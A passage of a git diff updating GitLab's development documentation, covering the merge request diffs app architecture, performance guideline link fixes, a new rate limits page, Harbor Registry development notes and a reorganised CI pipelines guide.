#388843](https://gitlab.com/gitlab-org/gitlab/-/issues/388843) is open to +generate a Mermaid graph of the components diagram. An image version of the +diagram is available in the issue. + +Some of the components are rendered more than others, but the main component is `diff_row.vue`. +This component renders every diff line in a diff file. For performance reasons, this +component is a functional component. However, when we upgrade to Vue 3, this is no longer +required. + +The main diff app component is the main entry point to the diffs app. One of the most important parts +of this component is to dispatch the action that assigns discussions to diff lines. This action +gets dispatched after the metadata request is completed, and after the batch diffs requests are +finished. There is also a watcher set up to watches for changes in both the diff files array and the notes +array. Whenever a change happens here, the set discussion action gets dispatched. + +The DiffRow component is set up in a way that allows for us to store the diff line data in one format. +Previously, we had to request two different formats for inline and side-by-side. The DiffRow component +then uses this standard format to render the diff line data. With this standard format, the user +can then switch between inline and side-by-side without the need to re-fetch any data. + +NOTE: +For this component, a lot of the data used and rendered gets memoized and cached, based on +various conditions. It is possible that data sometimes gets cached between each different +component render. + +### Vuex store + +The Vuex store for the diffs app consists of 3 different modules: + +- Notes +- Diffs +- Batch comments + +The notes module is responsible for the discussions, including diff discussions. In this module, +the discussions get fetched, and the polling for new discussions is setup. This module gets shared +with the issue app as well, so changes here need to be tested in both issues and merge requests. + +The diffs module is responsible for the everything related to diffs. This includes, but is not limited +to, fetching diffs, assigning diff discussions to lines, and creating diff discussions. + +Finally, the batch comments module is not complex, and is responsible only for the draft comments feature. +However, this module does dispatch actions in the notes and diff modules whenever draft comments +are published. + +### API Requests + +#### Metadata + +The diffs metadata endpoint exists to fetch the base data the diffs app requires quickly, without +the need to fetch all the diff files. This includes, but is not limited to: + +- Diff file names, including some extra meta data for diff files +- Added and removed line numbers +- Branch names +- Diff versions + +The most important part of the metadata response is the diff file names. This data allows the diffs +app to render the file browser inside of the diffs app, without waiting for all batch diffs +requests to complete. + +When the metadata response is received, the diff file data gets sent to a web worker. The web worker +exists to allow for this data, which for larger merge requests could be huge, to be processed off +the main thread. Processing this data involves getting the data into the correct structure +that the frontend requires to render the file browser in either tree view or list view. + +```mermaid +graph TD + A[fetchDiffFilesMeta] + B[Create web worker] + C[Fetch data] + D[SET_DIFF_METADATA] + E[Post worker data] + F[Worker message event listener] + K[SET_TREE_DATA] + + G[TreeWorker] + H[onMessage] + I[generateTreeList] + J[postMessage sortTree] + + A -->B + E -->F + B -->C + C -->D + D -->E + + G -->H + H -->I + I -->J + J -->F + + F -->K +``` + +The structure for this file object is: + +```javascript +{ + "key": "", + "path": "", + "name": "", + "type": "", + "tree": [], + "changed": true, + "tempFile": false, + "deleted": false, + "fileHash": "", + "addedLines": 1, + "removedLines": 1, + "parentPath": "/", + "submodule": false +} +``` + +#### Batch diffs + +To reduce the response size for the diffs endpoint, we are splitting this response up into different +requests, to: + +- Reduces the response size of each request. +- Allows the diffs app to start rendering diffs as quickly as the first request finishes. + +To make the first request quicker, the request gets sent asking for a small amount of +diffs. The number of diffs requested then increases, until the maximum number of diffs per request is 30. + +When the request finishes, the diffs app formats the data received into a format that makes +it easier for the diffs app to render the diffs lines. + +```mermaid +graph TD + A[fetchDiffFilesBatch] --> + B[commit SET_DIFF_DATA_BATCH] --> + C[prepareDiffData] --> + D[prepareRawDiffFile] --> + E[ensureBasicDiffFileLines] --> + F[prepareDiffFileLines] --> + G[finalizeDiffFile] --> + H[deduplicateFilesList] +``` + +After this has been completed, the diffs app can now begin to render the diff lines. However, before +anything can be rendered the diffs app does one more format. It takes the diff line data, and maps +the data into a format for easier switching between inline and side-by-side modes. This +formatting happens in a computed property inside the `diff_content.vue` component. + +### Render queue + +NOTE: +This _might_ not be required any more. Some investigation work is required to decide +the future of the render queue. The virtual scroll bar we created has probably removed +any performance benefit we got from this approach. + +To render diffs quickly, we have a render queue that allows the diffs to render only if the +browser is idle. This saves the browser getting frozen when rendering a lot of large diffs at once, +and allows us to reduce the total blocking time. + +This pipeline of rendering files happens only if all the below conditions are `true` for every +diff file. If any of these are `false`, then this render queue does not happen and the diffs get +rendered as expected. + +- Are the diffs in this file already rendered? +- Does this diff have a viewer? (Meaning, is it not a download?) +- Is the diff expanded? + +This chart gives a brief overview of the pipeline that happens: + +```mermaid +graph TD + A[startRenderDiffsQueue] -->B + B[commit RENDER_FILE current file index] -->C + C[canRenderNextFile?] + C -->|Yes| D[Render file] -->B + C -->|No| E[Re-run requestIdleCallback] -->C +``` + +The checks that happen: + +- Is the idle time remaining less than 5 ms? +- Have we already tried to render this file 4 times? + +After these checks happen, the file is marked in Vuex as `renderable`, which allows the diffs +app to start rendering the diff lines and discussions. diff --git a/doc/development/merge_request_concepts/performance.md b/doc/development/merge_request_concepts/performance.md index c1bdd45891d..740b8f1607b 100644 --- a/doc/development/merge_request_concepts/performance.md +++ b/doc/development/merge_request_concepts/performance.md @@ -15,7 +15,7 @@ with and agreed upon by backend maintainers and performance specialists. It's also highly recommended that you read the following guides: -- [Performance Guidelines../performance.md) +- [Performance Guidelines](../performance.md) - [Avoiding downtime in migrations](../database/avoiding_downtime_in_migrations.md) ## Definition @@ -59,8 +59,8 @@ section below for more information. about the impact. Sometimes it's hard to assess the impact of a merge request. In this case you -should ask one of the merge request reviewers to review your changes. You can -find a list of these reviewers at <https://about.gitlab.com/company/team/>. A reviewer +should ask one of the merge request reviewers to review your changes. +([A list of reviewers](https://about.gitlab.com/company/team/) is available.) A reviewer in turn can request a performance specialist to review the changes. ## Think outside of the box @@ -119,7 +119,7 @@ data migration. Migrating millions of rows is always troublesome and can have a negative impact on the application. To better understand how to get help with the query plan reviews -read this section on [how to prepare the merge request for a database review../database_review.md#how-to-prepare-the-merge-request-for-a-database-review). +read this section on [how to prepare the merge request for a database review](../database_review.md#how-to-prepare-the-merge-request-for-a-database-review). ## Query Counts @@ -193,7 +193,12 @@ costly, time-consuming query to the replicas. ## Use CTEs wisely -Read about [complex queries on the relation object../database/iterating_tables_in_batches.md#complex-queries-on-the-relation-object) for considerations on how to use CTEs. We have found in some situations that CTEs can become problematic in use (similar to the n+1 problem above). In particular, hierarchical recursive CTE queries such as the CTE in [AuthorizedProjectsWorker](https://gitlab.com/gitlab-org/gitlab/-/issues/325688) are very difficult to optimize and don't scale. We should avoid them when implementing new features that require any kind of hierarchical structure. +Read about [complex queries on the relation object](../database/iterating_tables_in_batches.md#complex-queries-on-the-relation-object) +for considerations on how to use CTEs. We have found in some situations that CTEs can become +problematic in use (similar to the n+1 problem above). In particular, hierarchical recursive +CTE queries such as the CTE in [AuthorizedProjectsWorker](https://gitlab.com/gitlab-org/gitlab/-/issues/325688) +are very difficult to optimize and don't scale. We should avoid them when implementing new features +that require any kind of hierarchical structure. CTEs have been effectively used as an optimization fence in many simpler cases, such as this [example](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/43242#note_61416277). @@ -224,7 +229,7 @@ The total number of the queries (including cached ones) executed by the code mod should not increase unless absolutely necessary. The number of executed queries (including cached queries) should not depend on collection size. -You can write a test by passing the `skip_cached` variable to [QueryRecorder../database/query_recorder.md) to detect this and prevent regressions. +You can write a test by passing the `skip_cached` variable to [QueryRecorder](../database/query_recorder.md) to detect this and prevent regressions. As an example, say you have a CI pipeline. All pipeline builds belong to the same pipeline, thus they also belong to the same project (`pipeline.project`): @@ -312,7 +317,7 @@ This could result in Puma timeout and should be avoided at all cost. You should set a reasonable timeout, gracefully handle exceptions and surface the errors in UI or logging internally. -Using [`ReactiveCaching`../utilities.md#reactivecaching) is one of the best solutions to fetch external data. +Using [`ReactiveCaching`](../utilities.md#reactivecaching) is one of the best solutions to fetch external data. ## Keep database transaction minimal @@ -424,7 +429,7 @@ Take into consideration the following when choosing a pagination strategy: The database has to sort and iterate all previous items, and this operation usually can result in substantial load put on database. -You can find useful tips related to pagination in the [pagination guidelines../database/pagination_guidelines.md). +You can find useful tips related to pagination in the [pagination guidelines](../database/pagination_guidelines.md). ## Badge counters @@ -561,5 +566,5 @@ can time out, which is especially problematic for slow clients. If clients take to upload/download the processing slot might be killed due to request processing timeout (usually between 30s-60s). -For the above reasons it is required that [Workhorse direct upload../uploads/index.md#direct-upload) is implemented +For the above reasons it is required that [Workhorse direct upload](../uploads/index.md#direct-upload) is implemented for all file uploads and downloads. diff --git a/doc/development/merge_request_concepts/rate_limits.md b/doc/development/merge_request_concepts/rate_limits.md new file mode 100644 index 00000000000..97d20b57eb4 --- /dev/null +++ b/doc/development/merge_request_concepts/rate_limits.md @@ -0,0 +1,28 @@ +--- +stage: Create +group: Source Code +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments +--- + +# Application and rate limit guidelines + +GitLab, like most large applications, enforces limits within certain features. +The absences of limits can affect security, performance, data, or could even +exhaust the allocated resources for the application. + +Every new feature should have safe usage limits included in its implementation. +Limits are applicable for: + +- System-level resource pools such as API requests, SSHD connections, database connections, storage, and so on. +- Domain-level objects such as CI/CD minutes, groups, sign-in attempts, and so on. + +## When limits are required + +1. Limits are required if the absence of the limit matches severity 1 - 3 in the severity definitions for [limit-related bugs](https://about.gitlab.com/handbook/engineering/quality/issue-triage/#limit-related-bugs). +1. [GitLab application limits](../../administration/instance_limits.md) documentation must be updated anytime limits are added, removed, or updated. + +## Additional reading + +- Existing [GitLab application limits](../../administration/instance_limits.md) +- Product processes: [introducing application limits](https://about.gitlab.com/handbook/product/product-processes/#introducing-application-limits) +- Development docs: [guide for adding application limits](../application_limits.md) diff --git a/doc/development/newlines_styleguide.md b/doc/development/newlines_styleguide.md deleted file mode 100644 index 014affa3e04..00000000000 --- a/doc/development/newlines_styleguide.md +++ /dev/null @@ -1,11 +0,0 @@ ---- -redirect_to: 'backend/ruby_style_guide.md#newlines-style-guide' -remove_date: '2022-12-15' ---- - -This document was moved to [another location](backend/ruby_style_guide.md#newlines-style-guide). - -<!-- This redirect file can be deleted after 2022-12-15. --> -<!-- Redirects that point to other docs in the same project expire in three months. --> -<!-- Redirects that point to docs in a different project or site (for example, link is not relative and starts with `https:`) expire in one year. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/redirects.html --> diff --git a/doc/development/packages/dependency_proxy.md b/doc/development/packages/dependency_proxy.md index cc8b202e556..e9568699c7e 100644 --- a/doc/development/packages/dependency_proxy.md +++ b/doc/development/packages/dependency_proxy.md @@ -6,9 +6,12 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Dependency Proxy -The Dependency Proxy is a pull-through-cache for registry images from DockerHub. This document describes how this +The Dependency Proxy is a pull-through-cache for public registry images from DockerHub. This document describes how this feature is constructed in GitLab. +NOTE: +Support for private registry images is proposed in [issue 331741](https://gitlab.com/gitlab-org/gitlab/-/issues/331741). + ## Container registry The Dependency Proxy for the container registry acts a stand-in for a remote container registry. In our case, diff --git a/doc/development/packages/harbor_registry_development.md b/doc/development/packages/harbor_registry_development.md new file mode 100644 index 00000000000..dc97ecfa7b2 --- /dev/null +++ b/doc/development/packages/harbor_registry_development.md @@ -0,0 +1,153 @@ +--- +stage: Package +group: Harbor Registry +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments +--- +# Harbor Registry + +## Enable Harbor Registry + +To enable the Harbor Registry, you must configure the Harbor integration for your group or project. +The Harbor configuration requires four fields: `url`, `project_name`, `username` and `password`. + +| Field | Description | +| --- | --- | +| `url` | The URL of the Harbor instance. | +| `project_name` | The project name of the Harbor instance. | +| `username` | The username used to log in to the Harbor instance. | +| `password` | The password used to log in to the Harbor instance. | + +You can use [GitLab CI/CD predefined variables](../../ci/variables/index.md) along with the following Harbor Registry variables to request data from the Harbor instance. + +| Variable | Description | +| --- | --- | +| `HARBOR_URL` | The URL of the Harbor instance. | +| `HARBOR_HOST` | The host of the Harbor instance URL. | +| `HARBOR_OCI` | The OCI URL of the Harbor instance URL. | +| `HARBOR_PROJECT` | The project name of the Harbor instance. | +| `HARBOR_USERNAME` | The username used to log in to the Harbor instance. | +| `HARBOR_PASSWORD` | The password used to log in to the Harbor instance. | + +### Test settings + +When testing the settings, a request is sent to `/api/v2.0/ping` of the Harbor instance. A successful test returns status code `200`. This test is primarily to verify that the Harbor instance is configured correctly. It doesn't verify that the `username` and `password` are correct. + +## Code structure + +```shell +app/controllers/concerns/harbor +├── access.rb +├── artifact.rb +├── repository.rb +└── tag.rb + +app/controllers/projects/harbor +├── application_controller.rb +├── artifacts_controller.rb +├── repositories_controller.rb +└── tags_controller.rb + +app/controllers/groups/harbor +├── application_controller.rb +├── artifacts_controller.rb +├── repositories_controller.rb +└── tags_controller.rb + +app/models/integrations/harbor.rb + +app/serializers/integrations/harbor_serializers +├── artifact_entity.rb +├── artifact_serializer.rb +├── repository_entity.rb +├── repository_serializer.rb +├── tag_entity.rb +└── tag_serializer.rb + +lib/gitlab/harbor +├── client.rb +└── query.rb +``` + +The controllers under `app/controllers/projects/harbor` and `app/controllers/groups/harbor` provide the API interface for front-end calls. + +The modules under `app/controllers/concerns/harbor` provide some common methods used by controllers. + +The Harbor integration model is under `app/models/integrations`, and it contains some configuration information for Harbor integration. + +The serializers under `app/serializers/integrations/harbor_serializers` are used by the controllers under `app/controllers/projects/harbor` and `app/controllers/groups/harbor`, and they help controllers to serialize the JSON data in the response. + +The `lib/gitlab/harbor` directory contains the Harbor client, which sends API requests to the Harbor instances to retrieve data. + +## Sequence diagram + +```mermaid +sequenceDiagram + Client->>+GitLab: Request Harbor Registry + GitLab->>+Harbor instance: Request repositories data via API + Harbor instance->>+GitLab: Repositories data + GitLab->>+Client: Return repositories data + Client->>+GitLab: Request Harbor Registry artifacts + GitLab->>+Harbor instance: Request artifacts data via API + Harbor instance->>+GitLab: Artifacts data + GitLab->>+Client: Return artifacts data + Client->>+GitLab: Request Harbor Registry tags + GitLab->>+Harbor instance: Request tags data via API + Harbor instance->>+GitLab: Tags data + GitLab->>+Client: Return tags data +``` + +## Policy + +The`read_harbor_registry` policy for groups and projects is used to control whether users have access to Harbor Registry. +This policy is enabled for every user with the Reporter role and above. + +## Frontend Development + +The relevant front-end code is located in the `app/assets/javascripts/packages_and_registries/harbor_registry/` directory. The file structure is as follows: + +```shell +├── components +│ ├── details +│ │ ├── artifacts_list_row.vue +│ │ ├── artifacts_list.vue +│ │ └── details_header.vue +│ ├── list +│ │ ├── harbor_list_header.vue +│ │ ├── harbor_list_row.vue +│ │ └── harbor_list.vue +│ ├── tags +│ │ ├── tags_header.vue +│ │ ├── tags_list_row.vue +│ │ └── tags_list.vue +│ └── harbor_registry_breadcrumb.vue +├── constants +│ ├── common.js +│ ├── details.js +│ ├── index.js +│ └── list.js +├── pages +│ ├── details.vue +│ ├── harbor_tags.vue +│ ├── index.vue +│ └── list.vue +├── index.js +├── router.js +└── utils.js +``` + +NOTE: +You can check out this [discussion](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/82777#note_1017875324) to see why we use the REST API instead of GraphQL. + +The file `harbor_registry/pages/index.vue` only contains a single Vue router-view component, which navigates to the `images list`, `image detail`, and `tags list` pages via `router.js`. + +Because `registry_breadcrumb.vue` component does not support multi-level paths, we have reimplemented the `harbor_registry/components/harbor_registry_breadcrumb.vue` component. + +A multi-level breadcrumb component can be generated by passing a path array to `harbor_registry_breadcrumb.vue`. + +```javascript +const routeNameList = []; +const hrefList = []; + +this.breadCrumbState.updateName(nameList); +this.breadCrumbState.updateHref(hrefList); +``` diff --git a/doc/development/packages/index.md b/doc/development/packages/index.md index e6ec7e9654a..fa0e9f5d926 100644 --- a/doc/development/packages/index.md +++ b/doc/development/packages/index.md @@ -37,3 +37,9 @@ Development and architectural documentation for the container registry - [Settings](settings.md) - [Structure / Schema](structure.md) - [Cleanup policies](cleanup_policies.md) + +## Harbor registry development + +Development and architectural documentation for the harbor registry + +- [Development documentation](harbor_registry_development.md) diff --git a/doc/development/pages/index.md b/doc/development/pages/index.md index 05eeb1965d1..e71d7df642c 100644 --- a/doc/development/pages/index.md +++ b/doc/development/pages/index.md @@ -6,11 +6,13 @@ info: To determine the technical writer assigned to the Stage/Group associated w description: "GitLab's development guidelines for GitLab Pages" --- -# Getting started with development +# Contribute to GitLab Pages development + +Learn how to configure GitLab Pages so you can help develop the feature. ## Configuring GitLab Pages hostname -GitLab Pages need a hostname or domain, as each different GitLab Pages site is accessed via a +GitLab Pages needs a hostname or domain, as each different GitLab Pages site is accessed through a subdomain. You can set the GitLab Pages hostname: - [Without wildcard, editing your hosts file](#without-wildcard-editing-your-hosts-file). diff --git a/doc/development/performance.md b/doc/development/performance.md index 21f80364358..346f70e04b0 100644 --- a/doc/development/performance.md +++ b/doc/development/performance.md @@ -154,7 +154,7 @@ allowing you to profile which code is running on CPU in detail. It's important to note that profiling an application *alters its performance*. Different profiling strategies have different overheads. Stackprof is a sampling profiler. It samples stack traces from running threads at a configurable -frequency (for example, 100hz, that is 100 stacks per second). This type of profiling +frequency (for example, 100 hz, that is 100 stacks per second). This type of profiling has quite a low (albeit non-zero) overhead and is generally considered to be safe for production. @@ -234,7 +234,7 @@ The following configuration options can be configured: - `STACKPROF_INTERVAL`: Sampling interval. Unit semantics depend on `STACKPROF_MODE`. For `object` mode this is a per-event interval (every `nth` event is sampled) and defaults to `100`. - For other modes such as `cpu` this is a frequency interval and defaults to `10100` μs (99hz). + For other modes such as `cpu` this is a frequency interval and defaults to `10100` μs (99 hz). - `STACKPROF_FILE_PREFIX`: File path prefix where profiles are stored. Defaults to `$TMPDIR` (often corresponds to `/tmp`). - `STACKPROF_TIMEOUT_S`: Profiling timeout in seconds. Profiling will @@ -477,7 +477,7 @@ The `mem_*` values represent different aspects of how objects and memory are all => {:mem_objects=>1002, :mem_bytes=>32000, :mem_mallocs=>1000} ``` -- The following example will allocate over 40kB of data, and perform only a single memory allocation. +- The following example will allocate over 40 kB of data, and perform only a single memory allocation. The existing object will be reallocated/resized on subsequent iterations: ```ruby @@ -583,8 +583,8 @@ You may find the results: **Metrics Reports** [dropdown list](../ci/testing/metrics_reports.md). - In the `memory-on-boot` artifacts for a full report and a dependency breakdown. -`derailed_benchmarks` also provides other methods to investigate memory. To learn more, -refer to the [gem documentation](https://github.com/zombocom/derailed_benchmarks#running-derailed-exec). +`derailed_benchmarks` also provides other methods to investigate memory. For more information, see +the [gem documentation](https://github.com/zombocom/derailed_benchmarks#running-derailed-exec). Most of the methods (`derailed exec perf:*`) attempt to boot your Rails app in a `production` environment and run benchmarks against it. It is possible both in GDK and GCK: @@ -730,7 +730,7 @@ test = +"hello" test += " world" ``` -When adding new Ruby files, please check that you can add the above header, +When adding new Ruby files, check that you can add the above header, as omitting it may lead to style check failures. ## Banzai pipelines and filters @@ -825,7 +825,7 @@ source into memory, memory use grows by _at least_ the size of the data source. In the case of `readlines`, it grows even further, due to extra bookkeeping the Ruby VM has to perform to represent each line. -Consider the following program, which reads a text file that is 750MB on disk: +Consider the following program, which reads a text file that is 750 MB on disk: ```ruby File.readlines('large_file.txt').each do |line| @@ -859,7 +859,7 @@ We can see that `heap_live_slots` (the number of reachable objects) jumped to ~2 which is roughly two orders of magnitude more compared to reading the file line by line instead. It was not just the raw memory usage that increased, but also how the garbage collector (GC) responded to this change in anticipation of future memory use. We can see that `malloc_increase_bytes` jumped -to ~30MB, which compares to just ~4kB for a "fresh" Ruby program. This figure specifies how +to ~30 MB, which compares to just ~4 kB for a "fresh" Ruby program. This figure specifies how much additional heap space the Ruby GC claims from the operating system next time it runs out of memory. Not only did we occupy more memory, we also changed the behavior of the application to increase memory use at a faster rate. diff --git a/doc/development/pipelines.md b/doc/development/pipelines.md deleted file mode 100644 index a4e06e98d14..00000000000 --- a/doc/development/pipelines.md +++ /dev/null @@ -1,11 +0,0 @@ ---- -redirect_to: 'pipelines/index.md' -remove_date: '2023-01-20' ---- - -This document was moved to [another location](pipelines/index.md). - -<!-- This redirect file can be deleted after <2023-01-20>. --> -<!-- Redirects that point to other docs in the same project expire in three months. --> -<!-- Redirects that point to docs in a different project or site (link is not relative and starts with `https:`) expire in one year. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/redirects.html --> diff --git a/doc/development/pipelines/index.md b/doc/development/pipelines/index.md index 1797e082aea..240d98a855f 100644 --- a/doc/development/pipelines/index.md +++ b/doc/development/pipelines/index.md @@ -188,7 +188,7 @@ Note that the merge request also needs to have the `master:broken` or `master:fo To make your Revert MRs faster, use the [revert MR template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/merge_request_templates/Revert%20To%20Resolve%20Incident.md) **before** you create your merge request. It will apply the `pipeline:expedite` label and others that will expedite the pipelines that run on the merge request. -### The `~pipeline:expedite` label +### The `pipeline:expedite` label When this label is assigned, the following steps of the CI/CD pipeline are skipped: @@ -207,83 +207,33 @@ If you want to force all the RSpec jobs to run regardless of your changes, you c WARNING: Forcing all jobs on docs only related MRs would not have the prerequisite jobs and would lead to errors -### Test suite parallelization +### End-to-end jobs -Our current RSpec tests parallelization setup is as follows: - -1. The `retrieve-tests-metadata` job in the `prepare` stage ensures we have a - `knapsack/report-master.json` file: - - The `knapsack/report-master.json` file is fetched from the latest `main` pipeline which runs `update-tests-metadata` - (for now it's the 2-hourly `maintenance` scheduled master pipeline), if it's not here we initialize the file with `{}`. -1. Each `[rspec|rspec-ee] [migration|unit|integration|system|geo] n m` job are run with - `knapsack rspec` and should have an evenly distributed share of tests: - - It works because the jobs have access to the `knapsack/report-master.json` - since the "artifacts from all previous stages are passed by default". - - the jobs set their own report path to - `"knapsack/${TEST_TOOL}_${TEST_LEVEL}_${DATABASE}_${CI_NODE_INDEX}_${CI_NODE_TOTAL}_report.json"`. - - if knapsack is doing its job, test files that are run should be listed under - `Report specs`, not under `Leftover specs`. -1. The `update-tests-metadata` job (which only runs on scheduled pipelines for - [the canonical project](https://gitlab.com/gitlab-org/gitlab) takes all the - `knapsack/rspec*.json` files and merge them all together into a single - `knapsack/report-master.json` file that is saved as artifact. - -After that, the next pipeline uses the up-to-date `knapsack/report-master.json` file. - -### Flaky tests - -#### Automatic skipping of flaky tests - -Tests that are [known to be flaky](../testing_guide/flaky_tests.md#automatic-retries-and-flaky-tests-detection) are -skipped unless the `$SKIP_FLAKY_TESTS_AUTOMATICALLY` variable is set to `false` or if the `~"pipeline:run-flaky-tests"` -label is set on the MR. - -See the [experiment issue](https://gitlab.com/gitlab-org/quality/team-tasks/-/issues/1069). - -#### Automatic retry of failing tests in a separate process - -Unless `$RETRY_FAILED_TESTS_IN_NEW_PROCESS` variable is set to `false` (`true` by default), RSpec tests that failed are automatically retried once in a separate -RSpec process. The goal is to get rid of most side-effects from previous tests that may lead to a subsequent test failure. - -We keep track of retried tests in the `$RETRIED_TESTS_REPORT_FILE` file saved as artifact by the `rspec:flaky-tests-report` job. - -See the [experiment issue](https://gitlab.com/gitlab-org/quality/team-tasks/-/issues/1148). - -### Compatibility testing - -By default, we run all tests with the versions that runs on GitLab.com. - -Other versions (usually one back-compatible version, and one forward-compatible version) should be running in nightly scheduled pipelines. - -Exceptions to this general guideline should be motivated and documented. - -#### Single database testing - -By default, all tests run with [multiple databases](../database/multiple_databases.md). - -We also run tests with a single database in nightly scheduled pipelines, and in merge requests that touch database-related files. - -If you want to force tests to run with a single database, you can add the `pipeline:run-single-db` label to the merge request. +The [`e2e:package-and-test`](../testing_guide/end_to_end/index.md#using-the-package-and-test-job) child pipeline +runs end-to-end jobs automatically depending on changes, and is manual in other cases. +See `.qa:rules:package-and-test` in +[`rules.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/ci/rules.gitlab-ci.yml) for +the specific list of rules. -### Monitoring +If you want to force `e2e:package-and-test` to run regardless of your changes, you can add the +`pipeline:run-all-e2e` label to the merge request. -The GitLab test suite is [monitored](../performance.md#rspec-profiling) for the `main` branch, and any branch -that includes `rspec-profile` in their name. +Consult the [End-to-end Testing](../testing_guide/end_to_end/index.md) dedicated page for more information. -### Logging +### Review app jobs -- Rails logging to `log/test.log` is disabled by default in CI - [for performance reasons](https://jtway.co/speed-up-your-rails-test-suite-by-6-in-1-line-13fedb869ec4). - To override this setting, provide the - `RAILS_ENABLE_TEST_LOG` environment variable. +The [`start-review-app-pipeline`](../testing_guide/review_apps.md) child pipeline deploys a Review App and runs +end-to-end tests against it automatically depending on changes, and is manual in other cases. +See `.review:rules:start-review-app-pipeline` in +[`rules.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/ci/rules.gitlab-ci.yml) for +the specific list of rules. -## Review app jobs +If you want to force a Review App to be deployed regardless of your changes, you can add the +`pipeline:run-review-app` label to the merge request. Consult the [Review Apps](../testing_guide/review_apps.md) dedicated page for more information. -If you want to force a Review App to be deployed regardless of your changes, you can add the `pipeline:run-review-app` label to the merge request. - -## As-if-FOSS jobs +### As-if-FOSS jobs The `* as-if-foss` jobs run the GitLab test suite "as if FOSS", meaning as if the jobs would run in the context of `gitlab-org/gitlab-foss`. These jobs are only created in the following cases: @@ -297,7 +247,7 @@ set and get the `ee/` folder removed before the tests start running. The intent is to ensure that a change doesn't introduce a failure after `gitlab-org/gitlab` is synced to `gitlab-org/gitlab-foss`. -## As-if-JH cross project downstream pipeline +### As-if-JH cross project downstream pipeline The `start-as-if-jh` job triggers a cross project downstream pipeline which runs the GitLab test suite "as if JiHu", meaning as if the pipeline would run @@ -321,13 +271,13 @@ The intent is to ensure that a change doesn't introduce a failure after [GitLab](https://gitlab.com/gitlab-org/gitlab) is synchronized to [GitLab JH](https://jihulab.com/gitlab-cn/gitlab). -### When to consider applying `pipeline:run-as-if-jh` label +#### When to consider applying `pipeline:run-as-if-jh` label If a Ruby file is renamed and there's a corresponding [`prepend_mod` line](../jh_features_review.md#jh-features-based-on-ce-or-ee-features), it's likely that GitLab JH is relying on it and requires a corresponding change to rename the module or class it's prepending. -### Corresponding JH branch +#### Corresponding JH branch You can create a corresponding JH branch on [GitLab JH](https://jihulab.com/gitlab-cn/gitlab) by appending `-jh` to the branch name. If a corresponding JH branch is found, @@ -344,7 +294,7 @@ it does not include any corresponding JH branch beside the default `main-jh`. This is why when we want to fetch corresponding JH branch we should fetch it from the main mirror, rather than the validation project. -### How as-if-JH pipeline was configured +#### How as-if-JH pipeline was configured The whole process looks like this: @@ -373,14 +323,14 @@ flowchart TD JH --"pull mirror with corresponding JH branches"--> Mirror ``` -#### Tokens set in the project variables +##### Tokens set in the project variables - `ADD_JH_FILES_TOKEN`: This is a [GitLab JH mirror](https://gitlab.com/gitlab-org/gitlab-jh-mirrors/gitlab) project token with `read_api` permission, to be able to download JiHu files. - `AS_IF_JH_TOKEN`: This is a [GitLab JH validation](https://gitlab.com/gitlab-org-sandbox/gitlab-jh-validation) project token with `write_repository` permission, to push generated `as-if-jh/*` branch. -#### How we generate the as-if-JH branch +##### How we generate the as-if-JH branch First `add-jh-files` job will download the required JiHu files from the corresponding JH branch, saving in artifacts. Next `prepare-as-if-jh-branch` @@ -388,13 +338,13 @@ job will create a new branch from the merge request branch, commit the changes, and finally push the branch to the [validation project](https://gitlab.com/gitlab-org-sandbox/gitlab-jh-validation). -#### How we trigger and run the as-if-JH pipeline +##### How we trigger and run the as-if-JH pipeline After having the `as-if-jh/*` branch, `start-as-if-jh` job will trigger a pipeline in the [validation project](https://gitlab.com/gitlab-org-sandbox/gitlab-jh-validation) to run the cross-project downstream pipeline. -#### How the GitLab JH mirror project is set up +##### How the GitLab JH mirror project is set up The [GitLab JH mirror](https://gitlab.com/gitlab-org/gitlab-jh-mirrors/gitlab) project is private and CI is disabled. @@ -408,7 +358,7 @@ engineering vault. No password is used from mirroring because GitLab JH is a public project. -#### How the GitLab JH validation project is set up +##### How the GitLab JH validation project is set up This [GitLab JH validation](https://gitlab.com/gitlab-org-sandbox/gitlab-jh-validation) project is public and CI is enabled, without any project variables. @@ -432,24 +382,7 @@ running every day, updating cache. The default CI/CD configuration file is also set at `jh/.gitlab-ci.yml` so it runs exactly like [GitLab JH](https://jihulab.com/gitlab-cn/gitlab/-/blob/main-jh/jh/.gitlab-ci.yml). -## Ruby 2.7 jobs - -We're running Ruby 3.0 for the merge requests and the default branch. However, -we're still running Ruby 2.7 for GitLab.com and there are older versions that -we need to maintain. We need a way to still try out Ruby 2.7 in merge requests. - -You can add the `pipeline:run-in-ruby2` label to the merge request to switch -the Ruby version used for running the whole test suite to 2.7. When you do -this, the test suite will no longer run in Ruby 3.0 (default), and an -additional job `verify-ruby-3.0` will also run and always fail to remind us to -remove the label and run in Ruby 3.0 before merging the merge request. - -This should let us: - -- Test changes for Ruby 2.7 -- Make sure it will not break anything when it's merged into the default branch - -## `undercover` RSpec test +### `rspec:undercoverage` job > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/74859) in GitLab 14.6. @@ -463,25 +396,90 @@ In the event of an emergency, or false positive from this job, add the `pipeline:skip-undercoverage` label to the merge request to allow this job to fail. -### Troubleshooting `rspec:undercoverage` failures +#### Troubleshooting `rspec:undercoverage` failures The `rspec:undercoverage` job has [known bugs](https://gitlab.com/groups/gitlab-org/-/epics/8254) that can cause false positive failures. You can test coverage locally to determine if it's -safe to apply `~"pipeline:skip-undercoverage"`. For example, using `<spec>` as the name of the +safe to apply `pipeline:skip-undercoverage`. For example, using `<spec>` as the name of the test causing the failure: 1. Run `SIMPLECOV=1 bundle exec rspec <spec>`. 1. Run `scripts/undercoverage`. -If these commands return `undercover: ✅ No coverage is missing in latest changes` then you can apply `~"pipeline:skip-undercoverage"` to bypass pipeline failures. +If these commands return `undercover: ✅ No coverage is missing in latest changes` then you can apply `pipeline:skip-undercoverage` to bypass pipeline failures. -## Ruby versions testing +## Test suite parallelization -Our test suite runs against Ruby 3 in merge requests and default branch pipelines. +Our current RSpec tests parallelization setup is as follows: -We also run our test suite against Ruby 2.7 on another 